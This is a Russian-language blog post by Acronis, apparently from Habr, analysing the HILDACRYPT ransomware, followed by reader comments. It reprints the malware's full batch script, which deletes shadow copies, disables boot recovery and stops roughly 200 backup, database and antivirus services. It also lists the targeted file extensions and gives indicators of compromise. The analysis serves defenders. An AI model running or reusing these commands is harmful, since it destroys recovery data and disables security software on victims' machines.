HILDACRYPT: новая программа-вымогатель наносит удар по системам резервного копирования и антивирусным решениям

    Привет, Хабр! И снова мы рассказываем о свежих версиях вредоносного ПО из категории Ransomware. HILDACRYPT — это новая программа-вымогатель, представитель обнаруженного в августе 2019 года семейства Hilda, названного в честь мультфильма стримингового сервиса Netflix, который был использован для распространения ПО. Сегодня мы знакомимся с техническими особенностями работы этого обновленного вируса-вымогателя.

    image

    В первой версии вымогателей Hilda ссылка на размещенный на Youtube трейлер мультипликационного сериала содержалась в письме о выкупе. HILDACRYPT же маскируется под легитимный установщик XAMPP — простой в установке дистрибутив Apache, включающий MariaDB, PHP и Perl. При этом у криптолокера другое имя файла — xamp. Кроме того, файл программы-вымогателя не имеет электронной подписи.

    Статический анализ


    Программа-вымогатель содержится в файле PE32 .NET, написанном под MS Windows. Его размер составляет 135 168 байт. Как основной программный код, так и код программы-защитника написаны на С#. Согласно отметке о дате и времени компиляции, двоичный файл был создан 14 сентября 2019 года.

    image

    По данным Detect It Easy, вирус-вымогатель заархивирован с помощью Confuser и ConfuserEx, но эти обфускаторы такие же, как прежде, только ConfuserEx является преемником Confuser, так что сигнатуры их кодов являются схожими.

    image

    HILDACRYPT действительно запакован с помощью ConfuserEx.

    image

    SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

    Вектор атаки


    Скорее всего, программа-вымогатель была обнаружена на одном из сайтов, посвященных веб-программированию, маскируясь под легитимную программу XAMPP.

    Всю цепочку заражения можно увидеть в app.any.run sandbox.

    Обфускация


    Строки программы-вымогателя хранятся в зашифрованном виде. При запуске HILDACRYPT расшифровывает их с помощью Base64 и AES-256-CBC.

    image

    Установка


    Прежде всего программа-вымогатель создает в %AppData\Roaming% папку, у которой параметр GUID (Globally Unique Identifier)генерируется случайным образом. Добавляя в это расположение bat-файл, вирус-вымогатель запускает его с помощью cmd.exe:

    cmd.exe /c \ JKfgkgj3hjgfhjka.bat \ & exit

    imageimage
    Затем он начинает выполнение пакетного скрипта, чтобы отключить системные функции или службы.

    image

    Скрипт содержит длинный список команд, с помощью которых уничтожаются теневые копии, отключается SQL-сервер, резервное копирование и антивирусные решения.

    Например, он безуспешно пытается остановить службы резервного копирования Acronis Backup. Кроме того, он атакует системы резервного копирования и антивирусные решения следующих поставщиков: Veeam, Sophos, Kaspersky, McAfee и других.

    @echo off
    :: Not really a fan of ponies, cartoon girls are better, don't you think?
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    bcdedit /set {default} recoveryenabled No
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    vssadmin Delete Shadows /all /quiet
    net stop SQLAgent$SYSTEM_BGC /y
    net stop “Sophos Device Control Service” /y
    net stop macmnsvc /y
    net stop SQLAgent$ECWDB2 /y
    net stop “Zoolz 2 Service” /y
    net stop McTaskManager /y
    net stop “Sophos AutoUpdate Service” /y
    net stop “Sophos System Protection Service” /y
    net stop EraserSvc11710 /y
    net stop PDVFSService /y
    net stop SQLAgent$PROFXENGAGEMENT /y
    net stop SAVService /y
    net stop MSSQLFDLauncher$TPSAMA /y
    net stop EPSecurityService /y
    net stop SQLAgent$SOPHOS /y
    net stop “Symantec System Recovery” /y
    net stop Antivirus /y
    net stop SstpSvc /y
    net stop MSOLAP$SQL_2008 /y
    net stop TrueKeyServiceHelper /y
    net stop sacsvr /y
    net stop VeeamNFSSvc /y
    net stop FA_Scheduler /y
    net stop SAVAdminService /y
    net stop EPUpdateService /y
    net stop VeeamTransportSvc /y
    net stop “Sophos Health Service” /y
    net stop bedbg /y
    net stop MSSQLSERVER /y
    net stop KAVFS /y
    net stop Smcinst /y
    net stop MSSQLServerADHelper100 /y
    net stop TmCCSF /y
    net stop wbengine /y
    net stop SQLWriter /y
    net stop MSSQLFDLauncher$TPS /y
    net stop SmcService /y
    net stop ReportServer$TPSAMA /y
    net stop swi_update /y
    net stop AcrSch2Svc /y
    net stop MSSQL$SYSTEM_BGC /y
    net stop VeeamBrokerSvc /y
    net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    net stop VeeamDeploymentService /y
    net stop SQLAgent$TPS /y
    net stop DCAgent /y
    net stop “Sophos Message Router” /y
    net stop MSSQLFDLauncher$SBSMONITORING /y
    net stop wbengine /y
    net stop MySQL80 /y
    net stop MSOLAP$SYSTEM_BGC /y
    net stop ReportServer$TPS /y
    net stop MSSQL$ECWDB2 /y
    net stop SntpService /y
    net stop SQLSERVERAGENT /y
    net stop BackupExecManagementService /y
    net stop SMTPSvc /y
    net stop mfefire /y
    net stop BackupExecRPCService /y
    net stop MSSQL$VEEAMSQL2008R2 /y
    net stop klnagent /y
    net stop MSExchangeSA /y
    net stop MSSQLServerADHelper /y
    net stop SQLTELEMETRY /y
    net stop “Sophos Clean Service” /y
    net stop swi_update_64 /y
    net stop “Sophos Web Control Service” /y
    net stop EhttpSrv /y
    net stop POP3Svc /y
    net stop MSOLAP$TPSAMA /y
    net stop McAfeeEngineService /y
    net stop “Veeam Backup Catalog Data Service” /
    net stop MSSQL$SBSMONITORING /y
    net stop ReportServer$SYSTEM_BGC /y
    net stop AcronisAgent /y
    net stop KAVFSGT /y
    net stop BackupExecDeviceMediaService /y
    net stop MySQL57 /y
    net stop McAfeeFrameworkMcAfeeFramework /y
    net stop TrueKey /y
    net stop VeeamMountSvc /y
    net stop MsDtsServer110 /y
    net stop SQLAgent$BKUPEXEC /y
    net stop UI0Detect /y
    net stop ReportServer /y
    net stop SQLTELEMETRY$ECWDB2 /y
    net stop MSSQLFDLauncher$SYSTEM_BGC /y
    net stop MSSQL$BKUPEXEC /y
    net stop SQLAgent$PRACTTICEBGC /y
    net stop MSExchangeSRS /y
    net stop SQLAgent$VEEAMSQL2008R2 /y
    net stop McShield /y
    net stop SepMasterService /y
    net stop “Sophos MCS Client” /y
    net stop VeeamCatalogSvc /y
    net stop SQLAgent$SHAREPOINT /y
    net stop NetMsmqActivator /y
    net stop kavfsslp /y
    net stop tmlisten /y
    net stop ShMonitor /y
    net stop MsDtsServer /y
    net stop SQLAgent$SQL_2008 /y
    net stop SDRSVC /y
    net stop IISAdmin /y
    net stop SQLAgent$PRACTTICEMGT /y
    net stop BackupExecJobEngine /y
    net stop SQLAgent$VEEAMSQL2008R2 /y
    net stop BackupExecAgentBrowser /y
    net stop VeeamHvIntegrationSvc /y
    net stop masvc /y
    net stop W3Svc /y
    net stop “SQLsafe Backup Service” /y
    net stop SQLAgent$CXDB /y
    net stop SQLBrowser /y
    net stop MSSQLFDLauncher$SQL_2008 /y
    net stop VeeamBackupSvc /y
    net stop “Sophos Safestore Service” /y
    net stop svcGenericHost /y
    net stop ntrtscan /y
    net stop SQLAgent$VEEAMSQL2012 /y
    net stop MSExchangeMGMT /y
    net stop SamSs /y
    net stop MSExchangeES /y
    net stop MBAMService /y
    net stop EsgShKernel /y
    net stop ESHASRV /y
    net stop MSSQL$TPSAMA /y
    net stop SQLAgent$CITRIX_METAFRAME /y
    net stop VeeamCloudSvc /y
    net stop “Sophos File Scanner Service” /y
    net stop “Sophos Agent” /y
    net stop MBEndpointAgent /y
    net stop swi_service /y
    net stop MSSQL$PRACTICEMGT /y
    net stop SQLAgent$TPSAMA /y
    net stop McAfeeFramework /y
    net stop “Enterprise Client Service” /y
    net stop SQLAgent$SBSMONITORING /y
    net stop MSSQL$VEEAMSQL2012 /y
    net stop swi_filter /y
    net stop SQLSafeOLRService /y
    net stop BackupExecVSSProvider /y
    net stop VeeamEnterpriseManagerSvc /y
    net stop SQLAgent$SQLEXPRESS /y
    net stop OracleClientCache80 /y
    net stop MSSQL$PROFXENGAGEMENT /y
    net stop IMAP4Svc /y
    net stop ARSM /y
    net stop MSExchangeIS /y
    net stop AVP /y
    net stop MSSQLFDLauncher /y
    net stop MSExchangeMTA /y
    net stop TrueKeyScheduler /y
    net stop MSSQL$SOPHOS /y
    net stop “SQL Backups” /y
    net stop MSSQL$TPS /y
    net stop mfemms /y
    net stop MsDtsServer100 /y
    net stop MSSQL$SHAREPOINT /y
    net stop WRSVC /y
    net stop mfevtp /y
    net stop msftesql$PROD /y
    net stop mozyprobackup /y
    net stop MSSQL$SQL_2008 /y
    net stop SNAC /y
    net stop ReportServer$SQL_2008 /y
    net stop BackupExecAgentAccelerator /y
    net stop MSSQL$SQLEXPRESS /y
    net stop MSSQL$PRACTTICEBGC /y
    net stop VeeamRESTSvc /y
    net stop sophossps /y
    net stop ekrn /y
    net stop MMS /y
    net stop “Sophos MCS Agent” /y
    net stop RESvc /y
    net stop “Acronis VSS Provider” /y
    net stop MSSQL$VEEAMSQL2008R2 /y
    net stop MSSQLFDLauncher$SHAREPOINT /y
    net stop “SQLsafe Filter Service” /y
    net stop MSSQL$PROD /y
    net stop SQLAgent$PROD /y
    net stop MSOLAP$TPS /y
    net stop VeeamDeploySvc /y
    net stop MSSQLServerOLAPService /y
    del %0
    

    После того, как упомянутые выше службы и процессы отключены, криптолокер собирает информацию обо всех работающих процессах, используя команду tasklist, чтобы убедиться в том, что все необходимые службы неработоспособны.
    tasklist v /fo csv

    По этой команде выводится подробный список работающих процессов, элементы которого разделены знаком «,».
    "\«csrss.exe\»,\«448\»,\«services\»,\«0\»,\«1�896 ��\»,\«unknown\»,\"�/�\",\«0:00:03\»,\"�/�\""


    image

    После этой проверки программа-вымогатель начинает процесс шифрования.

    Шифрование

    Шифрование файлов


    HILDACRYPT проходит по всему найденному содержимому жестких дисков, кроме папок Recycle.Bin и Reference Assemblies\\Microsoft. В последнем содержатся критически важные файлы dll, pdb, и пр. для приложений .Net, которые могут повлиять на работу программы-вымогателя. Для поиска файлов, которые будут зашифрованы, используется следующий список расширений:

    ".vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md"

    Для шифрования файлов пользователя программа-вымогатель использует алгоритм AES-256-CBC. Размер ключа составляет 256 бит, а размер вектора инициализации (IV) — 16 байт.

    image

    На следующем снимке экрана значения byte_2 и byte_1 были получены случайным образом с помощью GetBytes().

    image

    Ключ

    image

    ВИ

    image

    Зашифрованный файл имеет расширение HCY!.. Это пример зашифрованного файла. Для этого файла были созданы ключ и IV, упомянутые выше.

    image

    Шифрование ключей


    Криптолокер сохраняет сгенерированный ключ AES в зашифрованном файле. Первая часть зашифрованного файла имеет заголовок, который содержит такие данные как HILDACRYPT, KEY, IV, FileLen в формате XML, и выглядит следующим образом:

    image

    Шифрование ключа AES и IV происходит с помощью RSA-2048, а кодирование — с помощью Base64. Открытый ключ RSA хранится в теле криптолокера в одной из зашифрованных строк в формате XML.

    28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB


    Для шифрования ключа AES-файла используется открытый ключ RSA. Открытый ключ RSA закодирован с помощью Base64 и состоит из модуля и открытой экспоненты 65537. Для дешифровки требуется закрытый RSA-ключ, который есть у злоумышленника.

    После RSA-шифрования ключ AES кодируется с помощью Base64, сохраненного в зашифрованном файле.

    Сообщение о выкупе


    По окончании шифрования HILDACRYPT записывает html-файл в ту папку, в которой он зашифровал файлы. Уведомление программы-вымогателя содержит два адреса электронной почты, по которым жертва может связаться со злоумышленником.

    • hildalolilovesyou@airmail.cc
      hildalolilovesyou@memeware.net

    image

    Вымогательское уведомление содержит также строчку «No loli is safe;)» — «Ни одна лоли не находится в безопасности;)», — отсылка к запрещенным в Японии персонажам аниме и манги со внешностью маленьких девочек.

    Вывод


    HILDACRYPT, новое семейство программ-вымогателей, выпустило новую версию. Модель шифрования не позволяет жертве дешифровать зашифрованные программой-вымогателем файлы. Криптолокером используются методы активной защиты для отключения служб защиты, относящихся к системам резервного копирования и антивирусным решениям. Автор HILDACRYPT — поклонник демонстрируемого через Netflix мультсериала Hilda, ссылка на трейлер которого содержалась в письме о выкупе предыдущей версии программы.

    Как обычно, Acronis Backup и Acronis True Image могут защитить ваш компьютер от программы-вымогателя HILDACRYPT, а провайдеры имеют возможность защитить своих клиентов с помощью Acronis Backup Cloud. Защита обеспечивается благодаря тому, что в состав этих решений кибербезопасности входит не только резервное копирование, но и наша интегрированная система защиты Acronis Active Protection — усиленная моделью машинного обучения и основанная на поведенческих эвристиках технология, которая, как никакая другая, способна противостоять угрозам программ-вымогателей нулевого дня.

    Индикаторы компрометации


    Расширение файла HCY!
    HILDACRYPTReadMe.html
    xamp.exe с одной буквой «p» и без цифровой подписи
    SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a
    • +16
    • 7,2k
    • 8
    Acronis
    185,34
    Компания
    Поделиться публикацией

    Похожие публикации

    Комментарии 8

      +2
      Как обычно, Acronis Backup и Acronis True Image могут защитить ваш компьютер

      Как обычно, архивация в произвольное неизвестное расширение может защитить ваш архив.
        0
        А может и не защитить. Причем чем тупее трой — с тем большей вероятностью. Зачем проверять расширения, если можно шифровать все кроме пары системных каталогов?
          0
          Чтобы быстрее зашифровать «нужные» файлы, не нагружая сильно систему, не вызывая подозрений.
          Лучшим вариантом бэкапа тогда будет архивирование в кучу мелких томов, с переименовыванием расширения в .dll :)
            0
            существуют криптовирусы, которые шифруют несколько килобайт с начала и конца файла. Обычно такого шифрование достаточно чтобы ни один архив или база данных не могли бы быть восстановлены и занимает все это секунды.
            0
            Ну тогда хранить бэкапы в C:\Windows\System32\ с расширением .dll
          0
          Скрипт содержит длинный список команд, с помощью которых уничтожаются теневые копии

          Отсюда, как я понимаю, следует рекомендация не работать под админом

          атакует… антивирусные решения следующих поставщиков:… Sophos, Kaspersky, McAfee и других

          Судя по списку — не для России разрабатывали? Испания?
            0
            Безотносительно того, что предохраняться всё же надо и работа под админской учеткой — зло. У меня всё ценное лежит на диске A: с весьма давних пор. А на C: находится только ОС и кое-что из программ, что в любой момент можно переустановить. Это не связано с вирусами, это исключительно мои тараканы, но в моем конкретном случае вирус явно лоханется.
              0

              Элементарный совет запускать все сначала в режиме песочницы, либо на пустой виртуалке. Хотя от бомб замедленного действия типа blue ethernal это вряд ли спасет.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое